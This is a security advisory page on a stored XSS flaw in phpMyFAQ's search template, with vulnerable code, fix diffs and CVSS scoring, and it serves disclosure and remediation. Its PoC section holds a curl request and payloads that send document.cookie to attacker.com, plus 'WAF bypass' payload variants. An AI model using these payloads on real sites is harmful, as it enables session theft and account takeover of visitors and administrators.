Skip to content

GHSA-pqh6-8fxf-jx22 CVE-2026-46361

phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering

High Packagist
Severity
8.2 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.29%
Chance of exploitation in the next 30 days. Higher than 21.55% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
Available
2 packages have a fixed version

Description

Summary

The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.

A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags — bypassing strip_tags() — and the restored payload is injected into every visitor's browser via the | raw output.

This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.


Affected Files

File Location Issue
phpmyfaq/assets/templates/default/search.twig lines rendering result.question, result.answerPreview (Vertical Bar) raw disables autoescape
phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php search result processing loop html_entity_decode(strip_tags(...)) restores encoded payloads
phpmyfaq/src/phpMyFAQ/Search.php logSearchTerm() No HTML sanitization on stored search term (secondary, preventive)

Details

Vulnerability A (Primary): search.twig — | raw Disables Autoescape

File: phpmyfaq/assets/templates/default/search.twig

<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>

Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.

Seven (7) instances of | raw exist in search.twig:

{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}

Each of these constitutes an independent XSS surface if its data source is compromised.


Vulnerability B (Amplifier): SearchController.php — html_entity_decode(strip_tags()) Bypass

File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php

$data->answer = html_entity_decode(
    strip_tags((string) $data->answer),
    ENT_COMPAT,
    encoding: 'utf-8'
);

This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.

Bypass walkthrough:

Stored in DB:    <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags()   → no change (no real tags detected)
               → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output   → executes in browser

Attack Chain

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Payload injection

Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:

<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>

Step 2 — Persistence

The payload is stored in the DB without HTML sanitization at the storage layer.

Step 3 — Victim triggers the XSS

Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:

  1. Retrieves the record from the database
  2. Applies strip_tags() → entity-encoded payload passes through
  3. Applies html_entity_decode() → raw <svg onload=...> is restored
  4. Passes the value to search.twig as result.answerPreview
  5. Template renders with | raw → XSS executes

Step 4 — Impact

  • Session cookie exfiltration → full account takeover
  • Administrator session hijacking (admin visiting search page)
  • Persistent attack: payload fires for every visitor until manually removed
  • Potential for worm propagation via auto-created FAQ entries

PoC

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Inject payload via FAQ editor:

curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=<editor_session>' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "searchable-keyword",
      "author": "attacker",
      "email": "attacker@example.com"
    }
  }'

Step 2 — Trigger XSS as victim:

https://target.example.com/search.html?search=searchable-keyword

The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.

Alternative payloads (for WAF bypass):

&lt;details open ontoggle=alert(document.cookie)&gt;
&lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt;

Impact

  • Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context.
  • Integrity : DOM manipulation, phishing overlay injection.
  • Scope : Attack crosses from contributor privilege context to all site visitors, including administrators.

Recommended Fix

Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig

- <a href="{{ result.url }}">{{ result.question | raw }}</a>
- <small>{{ result.answerPreview | raw }}...</small>
+ <a href="{{ result.url }}">{{ result.question }}</a>
+ <small>{{ result.answerPreview }}...</small>

If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.

Fix 2 (Critical) — Remove html_entity_decode() from search result pipeline SearchController.php

- $data->answer = html_entity_decode(
-     strip_tags((string) $data->answer),
-     ENT_COMPAT,
-     encoding: 'utf-8'
- );
+ $data->answer = strip_tags((string) $data->answer);
  $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);

Fix 3 (Recommended) — Audit all | raw usages in search.twig

The following additional | raw instances should be reviewed and sanitized:

{{ searchTags | raw }}       → apply HTML Purifier or remove | raw
{{ relatedTags | raw }}      → apply HTML Purifier or remove | raw
{{ pagination | raw }}       → safe only if generated entirely server-side with no user input

Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()

  $this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+     $this->configuration->getDb()->escape($searchTerm),
+     ENT_QUOTES | ENT_HTML5,
+     'UTF-8'
+ )

Affected versions

Packagist

PackageVulnerableFixed in
phpmyfaq/phpmyfaq
< 4.1.2
4.1.2
thorsten/phpmyfaq
< 4.1.2
4.1.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

phpmyfaq/phpmyfaq Packagist → 4.1.2

composer
composer require phpmyfaq/phpmyfaq:^4.1.2

thorsten/phpmyfaq Packagist → 4.1.2

composer
composer require thorsten/phpmyfaq:^4.1.2

Severity breakdown

CVSS 4.0 8.2

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
High
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
Low
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 6.9

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rw77-vq4g-x3hp
phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion
High Also affects phpmyfaq/phpmyfaq
GHSA-8gpw-xvpf-hvx5
phpMyFAQ's two-factor authentication login bypasses the password factor
High Also affects phpmyfaq/phpmyfaq
GHSA-pgwp-vc7q-cvj3
phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission
High Also affects phpmyfaq/phpmyfaq
GHSA-6pvm-2vjj-rx4w
phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
Medium Also affects thorsten/phpmyfaq
GHSA-mf8r-wm2w-f8c5
phpMyFAQ public FAQ APIs expose inactive FAQ content
Medium Also affects phpmyfaq/phpmyfaq
GHSA-88g4-74f3-63x9
phpMyFAQ has Potential Authenticated Path Traversal in PDF Export
Medium Also affects phpmyfaq/phpmyfaq
GHSA-pg62-f8g4-4wqh
phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold
High Also affects phpmyfaq/phpmyfaq
GHSA-985r-q3qp-299h
phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards
High Also affects phpmyfaq/phpmyfaq
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor